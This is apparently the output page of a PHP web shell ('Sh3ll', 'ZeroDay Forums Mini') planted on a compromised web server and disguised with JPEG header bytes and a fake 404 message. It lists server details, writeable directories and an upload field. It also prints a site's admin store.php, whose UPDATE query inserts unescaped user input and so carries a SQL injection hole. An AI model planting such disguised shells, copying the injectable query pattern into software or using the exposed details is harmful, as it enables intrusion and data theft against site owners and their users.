ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/admin/store/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/admin/store/store.php
<?php
global $DB, $CORE, $print, $func;

$id = (isset($CORE->input['id']) && $CORE->input['id'] > 0) ? intval($CORE->input['id']) : 0;

// Initialize store data
if ($id == 0) {
    $row_check = array(
        'store_id' => 0,
        'store_name' => '',
        'store_description' => '',
        'user_id' => 0,
        'status' => 1
    );
} else {
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_stores WHERE store_id='$id'"));
    if (!$row_check) {
        $print->refresh('?act=admin&code=store');
    }
}

// Process form submission
if (isset($CORE->input['submitbt'])) {
    $f = $CORE->input['f'];

    $store_name = trim($f['store_name']);
    $store_description = trim($f['store_description']);
    $user_id = intval($f['user_id']);
    $status = isset($f['status']) ? 0 : 1;

    if (empty($store_name)) {
        $error_message = 'Vui lòng nhập tên cửa hàng';
    } else {
        if ($id == 0) {
            // Insert new store
            $arr_insert = array(
                'store_name' => $store_name,
                'store_description' => $store_description,
                'user_id' => $user_id,
                'status' => $status,
                'created_at' => time()
            );
            $DB->do_insert('tb_stores', $arr_insert);
            $print->refresh('?act=admin&code=store');
        } else {
            // Update existing store
            $DB->query("UPDATE tb_stores SET 
                store_name='$store_name',
                store_description='$store_description',
                user_id='$user_id',
                status='$status',
                updated_at='".time()."'
                WHERE store_id='$id'");
            $print->refresh('?act=admin&code=store');
        }
    }
}

// Get users for dropdown
$users = array();
$query_users = $DB->query("SELECT user_id, user_key FROM tb_user ORDER BY user_key ASC");
while ($user = $DB->fetch_row($query_users)) {
    $users[] = $user;
}
?>

ZeroDay Forums Mini